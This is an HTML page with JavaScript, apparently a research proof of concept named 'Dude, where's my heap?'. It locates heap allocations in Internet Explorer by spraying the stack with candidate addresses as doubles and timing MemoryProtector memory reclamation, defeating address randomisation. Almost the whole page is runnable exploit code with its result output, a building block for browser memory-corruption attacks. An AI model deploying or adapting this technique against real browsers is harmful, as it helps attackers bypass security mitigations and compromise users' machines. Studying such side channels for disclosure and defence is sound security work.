<html>
|
<head>
|
<script>
|
|
var button = document.createElement("button");
|
var s_large = new Array(0x100000/2-0x1000/2).join("a");
|
var s_small1 = new Array(20).join("b");
|
var s_small2 = new Array(20).join("c");
|
|
// Triger MemoryProtector::ReclaimMemory by freeing a large object
|
// and measure the time it takes.
|
function free() {
|
button.title = s_large;
|
|
// MemoryProtector does not trigger on this free but the next one
|
// despite freeing over 100.000 bytes (MemoryProtector threshold)
|
// This might be a bug. If MS changes this behavior, remove the
|
// following line. Threhold might need adjustment in that case.
|
button.title = s_small1;
|
|
var start_time = window.performance.now();
|
button.title = s_small2;
|
var end_time = window.performance.now();
|
|
return (end_time - start_time);
|
}
|
|
// Tests if the allocation happens in the memory range between min and max
|
// by spraying the stack with addresses in [min, max] range and triggering MemoryProtector.
|
function test(min, max) {
|
var o = new Object();
|
|
// Converts the next untested address to its double (IEEE 754) representation.
|
o.getNextDouble = function() {
|
// All relevant values are going to be subnormal
|
// so the conversion is a simple matter of multiplying
|
// with a constant.
|
cur = this.cur;
|
this.cur += 0x1000;
|
return 4.9406564584124654E-324 * cur;
|
}
|
|
o.recursive = function() {
|
this.depth += 1;
|
if(this.cur >= this.max) {
|
//alert(this.depth);
|
this.ret = free();
|
return 1;
|
} else {
|
// Spray the stack
|
return (
|
(this.getNextDouble() *
|
(this.getNextDouble() *
|
(this.getNextDouble() *
|
(this.getNextDouble() *
|
(this.getNextDouble() *
|
(this.getNextDouble() *
|
(this.getNextDouble() *
|
(this.getNextDouble() *
|
(this.getNextDouble() *
|
(this.getNextDouble() *
|
(this.getNextDouble() *
|
(this.getNextDouble() *
|
(this.getNextDouble() *
|
(this.getNextDouble() *
|
(this.getNextDouble() *
|
(this.getNextDouble() *
|
(this.getNextDouble() *
|
(this.getNextDouble() *
|
(this.getNextDouble() *
|
(this.getNextDouble() *
|
(this.getNextDouble() *
|
(this.getNextDouble() *
|
(this.getNextDouble() *
|
(this.getNextDouble() *
|
(this.getNextDouble() *
|
(this.getNextDouble() *
|
(this.getNextDouble() *
|
(this.getNextDouble() *
|
(this.getNextDouble() *
|
(this.getNextDouble() *
|
(this.getNextDouble() *
|
(this.getNextDouble() *
|
this.recursive())))))))))))))))))))))))))))))))));
|
}
|
}
|
|
|
o.depth = 0;
|
o.min = min;
|
o.max = max;
|
o.cur = min + 0x40; //change to 0x20 if testing on 32-bit IE process.
|
|
o.recursive();
|
|
return o.ret;
|
}
|
|
// Comparator function for sorting the address ranges.
|
function compare_ranges(a, b) {
|
return a.time - b.time;
|
}
|
|
// Measures time
|
function test_ranges(ranges) {
|
for(var i=0;i<ranges.length ;i++) {
|
ranges[i].time = test(ranges[i].min, ranges[i].max);
|
}
|
}
|
|
// Main function
|
function go() {
|
var min = 0; // Minumum address to test
|
var max = 0x10000000000; // Maximum address to test
|
|
var range_size = 0x4000000;
|
var num_fake_ranges = 50;
|
|
var threshold = 1.2;
|
|
var start_time = window.performance.now();
|
|
// Prepare the ranages array.
|
// We'll add some fake ranges at the beginning so that the
|
// times get more stable before we reach the "real ones".
|
var num_ranges = (max - min) / range_size;
|
ranges = new Array(num_ranges + num_fake_ranges);
|
for(var i=0; i<num_fake_ranges ;i++) {
|
ranges[i] = { min: 0x33, max: range_size + 0x33, time: 0 };
|
}
|
for(var i=0; i<num_ranges ;i++) {
|
ranges[i + num_fake_ranges] = { min: min + i*range_size, max: min + (i+1)*range_size, time: 0 };
|
}
|
|
// Do the timig tests.
|
test_ranges(ranges);
|
|
// Remove fake ranges.
|
ranges.splice(0, 50);
|
|
// Sort according to timing.
|
ranges.sort(compare_ranges);
|
|
var end_time = window.performance.now();
|
var run_time = (end_time - start_time)/1000;
|
|
// Check if the experiments were successful.
|
if (ranges[0].time * threshold < ranges[1].time) {
|
ret_str = "Memory allocation detected in the range [0x" + ranges[0].min.toString(16) + ", 0x" + ranges[0].max.toString(16) + "].<br>";
|
} else {
|
ret_str = "Results inconclusive, try again.<br>";
|
}
|
ret_str += "Tests took " + run_time.toString() + " seconds.<br>";
|
ret_str += "<br>Details:<br>"
|
for(var i=0;i<ranges.length;i++) {
|
ret_str += "Range: [0x" + ranges[i].min.toString(16) + ", 0x" + ranges[i].max.toString(16) + "], time(ms): " + ranges[i].time + "<br>";
|
}
|
|
document.getElementById("result").innerHTML = ret_str;
|
}
|
|
</script>
|
</head>
|
<body>
|
<button onclick="go()">Dude, where's my heap?</button>
|
<div id="result"></div>
|
</body>
|
</html>
|